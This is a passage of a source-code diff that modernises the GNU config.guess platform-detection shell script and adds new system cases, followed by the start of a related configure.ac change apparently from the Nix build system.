UNAME_PROCESSOR=`/usr/bin/uname -p`
if [ "$UNAME_PROCESSOR" = mc88100 ] || [ "$UNAME_PROCESSOR" = mc88110 ]
UNAME_PROCESSOR=$(/usr/bin/uname -p)
if test "$UNAME_PROCESSOR" = mc88100 || test "$UNAME_PROCESSOR" = mc88110
then
if [ "$TARGET_BINARY_INTERFACE"x = m88kdguxelfx ] || \
[ "$TARGET_BINARY_INTERFACE"x = x ]
if test "$TARGET_BINARY_INTERFACE"x = m88kdguxelfx || \
test "$TARGET_BINARY_INTERFACE"x = x
then
echo m88k-dg-dgux"$UNAME_RELEASE"
else
@@ -559,17 +582,17 @@ EOF
echo m68k-tektronix-bsd
exit ;;
*:IRIX*:*:*)
echo mips-sgi-irix"`echo "$UNAME_RELEASE"|sed -e 's/-/_/g'`"
echo mips-sgi-irix"$(echo "$UNAME_RELEASE"|sed -e 's/-/_/g')"
exit ;;
????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX.
echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id
exit ;; # Note that: echo "'`uname -s`'" gives 'AIX '
exit ;; # Note that: echo "'$(uname -s)'" gives 'AIX '
i*86:AIX:*:*)
echo i386-ibm-aix
exit ;;
ia64:AIX:*:*)
if [ -x /usr/bin/oslevel ] ; then
IBM_REV=`/usr/bin/oslevel`
if test -x /usr/bin/oslevel ; then
IBM_REV=$(/usr/bin/oslevel)
else
IBM_REV="$UNAME_VERSION.$UNAME_RELEASE"
fi
@@ -589,7 +612,7 @@ EOF
exit(0);
}
EOF
if $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=`"$dummy"`
if $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=$("$dummy")
then
echo "$SYSTEM_NAME"
else
@@ -602,15 +625,15 @@ EOF
fi
exit ;;
*:AIX:*:[4567])
IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'`
IBM_CPU_ID=$(/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }')
if /usr/sbin/lsattr -El "$IBM_CPU_ID" | grep ' POWER' >/dev/null 2>&1; then
IBM_ARCH=rs6000
else
IBM_ARCH=powerpc
fi
if [ -x /usr/bin/lslpp ] ; then
IBM_REV=`/usr/bin/lslpp -Lqc bos.rte.libc |
awk -F: '{ print $3 }' | sed s/[0-9]*$/0/`
if test -x /usr/bin/lslpp ; then
IBM_REV=$(/usr/bin/lslpp -Lqc bos.rte.libc |
awk -F: '{ print $3 }' | sed s/[0-9]*$/0/)
else
IBM_REV="$UNAME_VERSION.$UNAME_RELEASE"
fi
@@ -638,14 +661,14 @@ EOF
echo m68k-hp-bsd4.4
exit ;;
9000/[34678]??:HP-UX:*:*)
HPUX_REV=`echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//'`
HPUX_REV=$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//')
case "$UNAME_MACHINE" in
9000/31?) HP_ARCH=m68000 ;;
9000/[34]??) HP_ARCH=m68k ;;
9000/[678][0-9][0-9])
if [ -x /usr/bin/getconf ]; then
sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null`
sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null`
if test -x /usr/bin/getconf; then
sc_cpu_version=$(/usr/bin/getconf SC_CPU_VERSION 2>/dev/null)
sc_kernel_bits=$(/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null)
case "$sc_cpu_version" in
523) HP_ARCH=hppa1.0 ;; # CPU_PA_RISC1_0
528) HP_ARCH=hppa1.1 ;; # CPU_PA_RISC1_1
@@ -657,7 +680,7 @@ EOF
esac ;;
esac
fi
if [ "$HP_ARCH" = "" ]; then
if test "$HP_ARCH" = ""; then
set_cc_for_build
sed 's/^ //' << EOF > "$dummy.c"
@@ -692,11 +715,11 @@ EOF
exit (0);
}
EOF
(CCOPTS="" $CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null) && HP_ARCH=`"$dummy"`
(CCOPTS="" $CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null) && HP_ARCH=$("$dummy")
test -z "$HP_ARCH" && HP_ARCH=hppa
fi ;;
esac
if [ "$HP_ARCH" = hppa2.0w ]
if test "$HP_ARCH" = hppa2.0w
then
set_cc_for_build
@@ -720,7 +743,7 @@ EOF
echo "$HP_ARCH"-hp-hpux"$HPUX_REV"
exit ;;
ia64:HP-UX:*:*)
HPUX_REV=`echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//'`
HPUX_REV=$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//')
echo ia64-hp-hpux"$HPUX_REV"
exit ;;
3050*:HI-UX:*:*)
@@ -750,7 +773,7 @@ EOF
exit (0);
}
EOF
$CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=`"$dummy"` &&
$CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=$("$dummy") &&
{ echo "$SYSTEM_NAME"; exit; }
echo unknown-hitachi-hiuxwe2
exit ;;
@@ -770,7 +793,7 @@ EOF
echo hppa1.0-hp-osf
exit ;;
i*86:OSF1:*:*)
if [ -x /usr/sbin/sysversion ] ; then
if test -x /usr/sbin/sysversion ; then
echo "$UNAME_MACHINE"-unknown-osf1mk
else
echo "$UNAME_MACHINE"-unknown-osf1
@@ -819,14 +842,14 @@ EOF
echo craynv-cray-unicosmp"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/'
exit ;;
F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*)
FUJITSU_PROC=`uname -m | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz`
FUJITSU_SYS=`uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///'`
FUJITSU_REL=`echo "$UNAME_RELEASE" | sed -e 's/ /_/'`
FUJITSU_PROC=$(uname -m | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz)
FUJITSU_SYS=$(uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///')
FUJITSU_REL=$(echo "$UNAME_RELEASE" | sed -e 's/ /_/')
echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
exit ;;
5000:UNIX_System_V:4.*:*)
FUJITSU_SYS=`uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///'`
FUJITSU_REL=`echo "$UNAME_RELEASE" | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/ /_/'`
FUJITSU_SYS=$(uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///')
FUJITSU_REL=$(echo "$UNAME_RELEASE" | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/ /_/')
echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
exit ;;
i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*)
@@ -838,26 +861,26 @@ EOF
*:BSD/OS:*:*)
echo "$UNAME_MACHINE"-unknown-bsdi"$UNAME_RELEASE"
exit ;;
arm*:FreeBSD:*:*)
UNAME_PROCESSOR=`uname -p`
arm:FreeBSD:*:*)
UNAME_PROCESSOR=$(uname -p)
set_cc_for_build
if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \
| grep -q __ARM_PCS_VFP
then
echo "${UNAME_PROCESSOR}"-unknown-freebsd"`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`"-gnueabi
echo "${UNAME_PROCESSOR}"-unknown-freebsd"$(echo ${UNAME_RELEASE}|sed -e 's/[-(].*//')"-gnueabi
else
echo "${UNAME_PROCESSOR}"-unknown-freebsd"`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`"-gnueabihf
echo "${UNAME_PROCESSOR}"-unknown-freebsd"$(echo ${UNAME_RELEASE}|sed -e 's/[-(].*//')"-gnueabihf
fi
exit ;;
*:FreeBSD:*:*)
UNAME_PROCESSOR=`/usr/bin/uname -p`
UNAME_PROCESSOR=$(/usr/bin/uname -p)
case "$UNAME_PROCESSOR" in
amd64)
UNAME_PROCESSOR=x86_64 ;;
i386)
UNAME_PROCESSOR=i586 ;;
esac
echo "$UNAME_PROCESSOR"-unknown-freebsd"`echo "$UNAME_RELEASE"|sed -e 's/[-(].*//'`"
echo "$UNAME_PROCESSOR"-unknown-freebsd"$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')"
exit ;;
i*:CYGWIN*:*)
echo "$UNAME_MACHINE"-pc-cygwin
@@ -890,18 +913,18 @@ EOF
echo "$UNAME_MACHINE"-pc-uwin
exit ;;
amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*)
echo x86_64-unknown-cygwin
echo x86_64-pc-cygwin
exit ;;
prep*:SunOS:5.*:*)
echo powerpcle-unknown-solaris2"`echo "$UNAME_RELEASE"|sed -e 's/[^.]*//'`"
echo powerpcle-unknown-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')"
exit ;;
*:GNU:*:*)
# the GNU system
echo "`echo "$UNAME_MACHINE"|sed -e 's,[-/].*$,,'`-unknown-$LIBC`echo "$UNAME_RELEASE"|sed -e 's,/.*$,,'`"
echo "$(echo "$UNAME_MACHINE"|sed -e 's,[-/].*$,,')-unknown-$LIBC$(echo "$UNAME_RELEASE"|sed -e 's,/.*$,,')"
exit ;;
*:GNU/*:*:*)
# other systems with GNU libc and userland
echo "$UNAME_MACHINE-unknown-`echo "$UNAME_SYSTEM" | sed 's,^[^/]*/,,' | tr "[:upper:]" "[:lower:]"``echo "$UNAME_RELEASE"|sed -e 's/[-(].*//'`-$LIBC"
echo "$UNAME_MACHINE-unknown-$(echo "$UNAME_SYSTEM" | sed 's,^[^/]*/,,' | tr "[:upper:]" "[:lower:]")$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')-$LIBC"
exit ;;
*:Minix:*:*)
echo "$UNAME_MACHINE"-unknown-minix
@@ -914,7 +937,7 @@ EOF
echo "$UNAME_MACHINE"-unknown-linux-"$LIBC"
exit ;;
alpha:Linux:*:*)
case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in
case $(sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' /proc/cpuinfo 2>/dev/null) in
EV5) UNAME_MACHINE=alphaev5 ;;
EV56) UNAME_MACHINE=alphaev56 ;;
PCA56) UNAME_MACHINE=alphapca56 ;;
@@ -981,22 +1004,50 @@ EOF
exit ;;
mips:Linux:*:* | mips64:Linux:*:*)
set_cc_for_build
IS_GLIBC=0
test x"${LIBC}" = xgnu && IS_GLIBC=1
sed 's/^ //' << EOF > "$dummy.c"
#undef CPU
#undef ${UNAME_MACHINE}
#undef ${UNAME_MACHINE}el
#undef mips
#undef mipsel
#undef mips64
#undef mips64el
#if ${IS_GLIBC} && defined(_ABI64)
LIBCABI=gnuabi64
#else
#if ${IS_GLIBC} && defined(_ABIN32)
LIBCABI=gnuabin32
#else
LIBCABI=${LIBC}
#endif
#endif
#if ${IS_GLIBC} && defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6
CPU=mipsisa64r6
#else
#if ${IS_GLIBC} && !defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6
CPU=mipsisa32r6
#else
#if defined(__mips64)
CPU=mips64
#else
CPU=mips
#endif
#endif
#endif
#if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL)
CPU=${UNAME_MACHINE}el
MIPS_ENDIAN=el
#else
#if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB)
CPU=${UNAME_MACHINE}
MIPS_ENDIAN=
#else
CPU=
MIPS_ENDIAN=
#endif
#endif
EOF
eval "`$CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^CPU'`"
test "x$CPU" != x && { echo "$CPU-unknown-linux-$LIBC"; exit; }
eval "$($CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^CPU\|^MIPS_ENDIAN\|^LIBCABI')"
test "x$CPU" != x && { echo "$CPU${MIPS_ENDIAN}-unknown-linux-$LIBCABI"; exit; }
;;
mips64el:Linux:*:*)
echo "$UNAME_MACHINE"-unknown-linux-"$LIBC"
@@ -1015,7 +1066,7 @@ EOF
exit ;;
parisc:Linux:*:* | hppa:Linux:*:*)
# Look for CPU level
case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in
case $(grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2) in
PA7*) echo hppa1.1-unknown-linux-"$LIBC" ;;
PA8*) echo hppa2.0-unknown-linux-"$LIBC" ;;
*) echo hppa-unknown-linux-"$LIBC" ;;
@@ -1055,7 +1106,17 @@ EOF
echo "$UNAME_MACHINE"-dec-linux-"$LIBC"
exit ;;
x86_64:Linux:*:*)
echo "$UNAME_MACHINE"-pc-linux-"$LIBC"
set_cc_for_build
LIBCABI=$LIBC
if test "$CC_FOR_BUILD" != no_compiler_found; then
if (echo '#ifdef __ILP32__'; echo IS_X32; echo '#endif') | \
(CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \
grep IS_X32 >/dev/null
then
LIBCABI="$LIBC"x32
fi
fi
echo "$UNAME_MACHINE"-pc-linux-"$LIBCABI"
exit ;;
xtensa*:Linux:*:*)
echo "$UNAME_MACHINE"-unknown-linux-"$LIBC"
@@ -1095,7 +1156,7 @@ EOF
echo "$UNAME_MACHINE"-pc-msdosdjgpp
exit ;;
i*86:*:4.*:*)
UNAME_REL=`echo "$UNAME_RELEASE" | sed 's/\/MP$//'`
UNAME_REL=$(echo "$UNAME_RELEASE" | sed 's/\/MP$//')
if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then
echo "$UNAME_MACHINE"-univel-sysv"$UNAME_REL"
else
@@ -1104,19 +1165,19 @@ EOF
exit ;;
i*86:*:5:[678]*)
# UnixWare 7.x, OpenUNIX and OpenServer 6.
case `/bin/uname -X | grep "^Machine"` in
case $(/bin/uname -X | grep "^Machine") in
*486*) UNAME_MACHINE=i486 ;;
*Pentium) UNAME_MACHINE=i586 ;;
*Pent*|*Celeron) UNAME_MACHINE=i686 ;;
esac
echo "$UNAME_MACHINE-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}{$UNAME_VERSION}"
echo "$UNAME_MACHINE-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION}"
exit ;;
i*86:*:3.2:*)
if test -f /usr/options/cb.name; then
UNAME_REL=`sed -n 's/.*Version //p' </usr/options/cb.name`
UNAME_REL=$(sed -n 's/.*Version //p' </usr/options/cb.name)
echo "$UNAME_MACHINE"-pc-isc"$UNAME_REL"
elif /bin/uname -X 2>/dev/null >/dev/null ; then
UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')`
UNAME_REL=$( (/bin/uname -X|grep Release|sed -e 's/.*= //'))
(/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486
(/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \
&& UNAME_MACHINE=i586
@@ -1166,7 +1227,7 @@ EOF
3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0)
OS_REL=''
test -r /etc/.relid \
&& OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
&& OS_REL=.$(sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid)
/bin/uname -p 2>/dev/null | grep 86 >/dev/null \
&& { echo i486-ncr-sysv4.3"$OS_REL"; exit; }
/bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
@@ -1177,7 +1238,7 @@ EOF
NCR*:*:4.2:* | MPRAS*:*:4.2:*)
OS_REL='.3'
test -r /etc/.relid \
&& OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
&& OS_REL=.$(sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid)
/bin/uname -p 2>/dev/null | grep 86 >/dev/null \
&& { echo i486-ncr-sysv4.3"$OS_REL"; exit; }
/bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
@@ -1210,7 +1271,7 @@ EOF
exit ;;
*:SINIX-*:*:*)
if uname -p 2>/dev/null >/dev/null ; then
UNAME_MACHINE=`(uname -p) 2>/dev/null`
UNAME_MACHINE=$( (uname -p) 2>/dev/null)
echo "$UNAME_MACHINE"-sni-sysv4
else
echo ns32k-sni-sysv
@@ -1244,7 +1305,7 @@ EOF
echo mips-sony-newsos6
exit ;;
R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*)
if [ -d /usr/nec ]; then
if test -d /usr/nec; then
echo mips-nec-sysv"$UNAME_RELEASE"
else
echo mips-unknown-sysv"$UNAME_RELEASE"
@@ -1292,44 +1353,48 @@ EOF
*:Rhapsody:*:*)
echo "$UNAME_MACHINE"-apple-rhapsody"$UNAME_RELEASE"
exit ;;
arm64:Darwin:*:*)
echo aarch64-apple-darwin"$UNAME_RELEASE"
exit ;;
*:Darwin:*:*)
UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown
set_cc_for_build
if test "$UNAME_PROCESSOR" = unknown ; then
UNAME_PROCESSOR=powerpc
UNAME_PROCESSOR=$(uname -p)
case $UNAME_PROCESSOR in
unknown) UNAME_PROCESSOR=powerpc ;;
esac
if command -v xcode-select > /dev/null 2> /dev/null && \
! xcode-select --print-path > /dev/null 2> /dev/null ; then
# Avoid executing cc if there is no toolchain installed as
# cc will be a stub that puts up a graphical alert
# prompting the user to install developer tools.
CC_FOR_BUILD=no_compiler_found
else
set_cc_for_build
fi
if test "`echo "$UNAME_RELEASE" | sed -e 's/\..*//'`" -le 10 ; then
if [ "$CC_FOR_BUILD" != no_compiler_found ]; then
if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \
(CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \
grep IS_64BIT_ARCH >/dev/null
then
case $UNAME_PROCESSOR in
i386) UNAME_PROCESSOR=x86_64 ;;
powerpc) UNAME_PROCESSOR=powerpc64 ;;
esac
fi
# On 10.4-10.6 one might compile for PowerPC via gcc -arch ppc
if (echo '#ifdef __POWERPC__'; echo IS_PPC; echo '#endif') | \
(CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \
grep IS_PPC >/dev/null
then
UNAME_PROCESSOR=powerpc
fi
if test "$CC_FOR_BUILD" != no_compiler_found; then
if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \
(CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \
grep IS_64BIT_ARCH >/dev/null
then
case $UNAME_PROCESSOR in
i386) UNAME_PROCESSOR=x86_64 ;;
powerpc) UNAME_PROCESSOR=powerpc64 ;;
esac
fi
# On 10.4-10.6 one might compile for PowerPC via gcc -arch ppc
if (echo '#ifdef __POWERPC__'; echo IS_PPC; echo '#endif') | \
(CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \
grep IS_PPC >/dev/null
then
UNAME_PROCESSOR=powerpc
fi
elif test "$UNAME_PROCESSOR" = i386 ; then
# Avoid executing cc on OS X 10.9, as it ships with a stub
# that puts up a graphical alert prompting to install
# developer tools. Any system running Mac OS X 10.7 or
# later (Darwin 11 and later) is required to have a 64-bit
# processor. This is not true of the ARM version of Darwin
# that Apple uses in portable devices.
UNAME_PROCESSOR=x86_64
# uname -m returns i386 or x86_64
UNAME_PROCESSOR=$UNAME_MACHINE
fi
echo "$UNAME_PROCESSOR"-apple-darwin"$UNAME_RELEASE"
exit ;;
*:procnto*:*:* | *:QNX:[0123456789]*:*)
UNAME_PROCESSOR=`uname -p`
UNAME_PROCESSOR=$(uname -p)
if test "$UNAME_PROCESSOR" = x86; then
UNAME_PROCESSOR=i386
UNAME_MACHINE=pc
@@ -1397,10 +1462,10 @@ EOF
echo mips-sei-seiux"$UNAME_RELEASE"
exit ;;
*:DragonFly:*:*)
echo "$UNAME_MACHINE"-unknown-dragonfly"`echo "$UNAME_RELEASE"|sed -e 's/[-(].*//'`"
echo "$UNAME_MACHINE"-unknown-dragonfly"$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')"
exit ;;
*:*VMS:*:*)
UNAME_MACHINE=`(uname -p) 2>/dev/null`
UNAME_MACHINE=$( (uname -p) 2>/dev/null)
case "$UNAME_MACHINE" in
A*) echo alpha-dec-vms ; exit ;;
I*) echo ia64-dec-vms ; exit ;;
@@ -1410,7 +1475,7 @@ EOF
echo i386-pc-xenix
exit ;;
i*86:skyos:*:*)
echo "$UNAME_MACHINE"-pc-skyos"`echo "$UNAME_RELEASE" | sed -e 's/ .*$//'`"
echo "$UNAME_MACHINE"-pc-skyos"$(echo "$UNAME_RELEASE" | sed -e 's/ .*$//')"
exit ;;
i*86:rdos:*:*)
echo "$UNAME_MACHINE"-pc-rdos
@@ -1424,8 +1489,148 @@ EOF
amd64:Isilon\ OneFS:*:*)
echo x86_64-unknown-onefs
exit ;;
*:Unleashed:*:*)
echo "$UNAME_MACHINE"-unknown-unleashed"$UNAME_RELEASE"
exit ;;
esac
# No uname command or uname output not recognized.
set_cc_for_build
cat > "$dummy.c" <<EOF
#ifdef _SEQUENT_
#include <sys/types.h>
#include <sys/utsname.h>
#endif
#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__)
#if defined (vax) || defined (__vax) || defined (__vax__) || defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__)
#include <signal.h>
#if defined(_SIZE_T_) || defined(SIGLOST)
#include <sys/utsname.h>
#endif
#endif
#endif
main ()
{
#if defined (sony)
#if defined (MIPSEB)
/* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed,
I don't know.... */
printf ("mips-sony-bsd\n"); exit (0);
#else
#include <sys/param.h>
printf ("m68k-sony-newsos%s\n",
#ifdef NEWSOS4
"4"
#else
""
#endif
); exit (0);
#endif
#endif
#if defined (NeXT)
#if !defined (__ARCHITECTURE__)
#define __ARCHITECTURE__ "m68k"
#endif
int version;
version=$( (hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null);
if (version < 4)
printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version);
else
printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version);
exit (0);
#endif
#if defined (MULTIMAX) || defined (n16)
#if defined (UMAXV)
printf ("ns32k-encore-sysv\n"); exit (0);
#else
#if defined (CMU)
printf ("ns32k-encore-mach\n"); exit (0);
#else
printf ("ns32k-encore-bsd\n"); exit (0);
#endif
#endif
#endif
#if defined (__386BSD__)
printf ("i386-pc-bsd\n"); exit (0);
#endif
#if defined (sequent)
#if defined (i386)
printf ("i386-sequent-dynix\n"); exit (0);
#endif
#if defined (ns32000)
printf ("ns32k-sequent-dynix\n"); exit (0);
#endif
#endif
#if defined (_SEQUENT_)
struct utsname un;
uname(&un);
if (strncmp(un.version, "V2", 2) == 0) {
printf ("i386-sequent-ptx2\n"); exit (0);
}
if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */
printf ("i386-sequent-ptx1\n"); exit (0);
}
printf ("i386-sequent-ptx\n"); exit (0);
#endif
#if defined (vax)
#if !defined (ultrix)
#include <sys/param.h>
#if defined (BSD)
#if BSD == 43
printf ("vax-dec-bsd4.3\n"); exit (0);
#else
#if BSD == 199006
printf ("vax-dec-bsd4.3reno\n"); exit (0);
#else
printf ("vax-dec-bsd\n"); exit (0);
#endif
#endif
#else
printf ("vax-dec-bsd\n"); exit (0);
#endif
#else
#if defined(_SIZE_T_) || defined(SIGLOST)
struct utsname un;
uname (&un);
printf ("vax-dec-ultrix%s\n", un.release); exit (0);
#else
printf ("vax-dec-ultrix\n"); exit (0);
#endif
#endif
#endif
#if defined(ultrix) || defined(_ultrix) || defined(__ultrix) || defined(__ultrix__)
#if defined(mips) || defined(__mips) || defined(__mips__) || defined(MIPS) || defined(__MIPS__)
#if defined(_SIZE_T_) || defined(SIGLOST)
struct utsname *un;
uname (&un);
printf ("mips-dec-ultrix%s\n", un.release); exit (0);
#else
printf ("mips-dec-ultrix\n"); exit (0);
#endif
#endif
#endif
#if defined (alliant) && defined (i860)
printf ("i860-alliant-bsd\n"); exit (0);
#endif
exit (1);
}
EOF
$CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null && SYSTEM_NAME=$($dummy) &&
{ echo "$SYSTEM_NAME"; exit; }
# Apollos put the system type in the environment.
test -d /usr/apollo && { echo "$ISP-apollo-$SYSTYPE"; exit; }
echo "$0: unable to guess system type" >&2
case "$UNAME_MACHINE:$UNAME_SYSTEM" in
@@ -1445,9 +1650,15 @@ This script (version $timestamp), has failed to recognize the
operating system you are using. If your script is old, overwrite *all*
copies of config.guess and config.sub with the latest versions from:
https://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess
https://git.savannah.gnu.org/cgit/config.git/plain/config.guess
and
https://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub
https://git.savannah.gnu.org/cgit/config.git/plain/config.sub
EOF
year=$(echo $timestamp | sed 's,-.*,,')
# shellcheck disable=SC2003
if test "$(expr "$(date +%Y)" - "$year")" -lt 3 ; then
cat >&2 <<EOF
If $0 has already been updated, send the following data and any
information you think might be pertinent to config-patches@gnu.org to
@@ -1455,26 +1666,27 @@ provide the necessary information to handle your system.
config.guess timestamp = $timestamp
uname -m = `(uname -m) 2>/dev/null || echo unknown`
uname -r = `(uname -r) 2>/dev/null || echo unknown`
uname -s = `(uname -s) 2>/dev/null || echo unknown`
uname -v = `(uname -v) 2>/dev/null || echo unknown`
uname -m = $( (uname -m) 2>/dev/null || echo unknown)
uname -r = $( (uname -r) 2>/dev/null || echo unknown)
uname -s = $( (uname -s) 2>/dev/null || echo unknown)
uname -v = $( (uname -v) 2>/dev/null || echo unknown)
/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null`
/bin/uname -X = `(/bin/uname -X) 2>/dev/null`
/usr/bin/uname -p = $( (/usr/bin/uname -p) 2>/dev/null)
/bin/uname -X = $( (/bin/uname -X) 2>/dev/null)
hostinfo = `(hostinfo) 2>/dev/null`
/bin/universe = `(/bin/universe) 2>/dev/null`
/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null`
/bin/arch = `(/bin/arch) 2>/dev/null`
/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null`
/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null`
hostinfo = $( (hostinfo) 2>/dev/null)
/bin/universe = $( (/bin/universe) 2>/dev/null)
/usr/bin/arch -k = $( (/usr/bin/arch -k) 2>/dev/null)
/bin/arch = $( (/bin/arch) 2>/dev/null)
/usr/bin/oslevel = $( (/usr/bin/oslevel) 2>/dev/null)
/usr/convex/getsysinfo = $( (/usr/convex/getsysinfo) 2>/dev/null)
UNAME_MACHINE = "$UNAME_MACHINE"
UNAME_RELEASE = "$UNAME_RELEASE"
UNAME_SYSTEM = "$UNAME_SYSTEM"
UNAME_VERSION = "$UNAME_VERSION"
EOF
fi
exit 1
+896 -860
View File
File diff suppressed because it is too large. Load diff
+54 -38
View File
@@ -33,14 +33,6 @@ AC_ARG_WITH(system, AC_HELP_STRING([--with-system=SYSTEM],
system="$machine_name-`echo $host_os | "$SED" -e's/@<:@0-9.@:>@*$//g'`";;
esac])
sys_name=$(uname -s | tr 'A-Z ' 'a-z_')
case $sys_name in
cygwin*)
sys_name=cygwin
;;
esac
AC_MSG_RESULT($system)
AC_SUBST(system)
AC_DEFINE_UNQUOTED(SYSTEM, ["$system"], [platform identifier ('cpu-os')])
@@ -67,10 +59,12 @@ AC_SYS_LARGEFILE
# Solaris-specific stuff.
AC_STRUCT_DIRENT_D_TYPE
if test "$sys_name" = sunos; then
case "$host_os" in
solaris*)
# Solaris requires -lsocket -lnsl for network functions
LIBS="-lsocket -lnsl $LIBS"
fi
LDFLAGS="-lsocket -lnsl $LDFLAGS"
;;
esac
# Check for pubsetbuf.
@@ -157,6 +151,30 @@ AX_BOOST_BASE([1.66], [CXXFLAGS="$BOOST_CPPFLAGS $CXXFLAGS"], [AC_MSG_ERROR([Nix
# ends up with LDFLAGS being empty, so we set it afterwards.
LDFLAGS="$BOOST_LDFLAGS $LDFLAGS"
# On some platforms, new-style atomics need a helper library
AC_MSG_CHECKING(whether -latomic is needed)
AC_LINK_IFELSE([AC_LANG_SOURCE([[
#include <stdint.h>
uint64_t v;
int main() {
return (int)__atomic_load_n(&v, __ATOMIC_ACQUIRE);
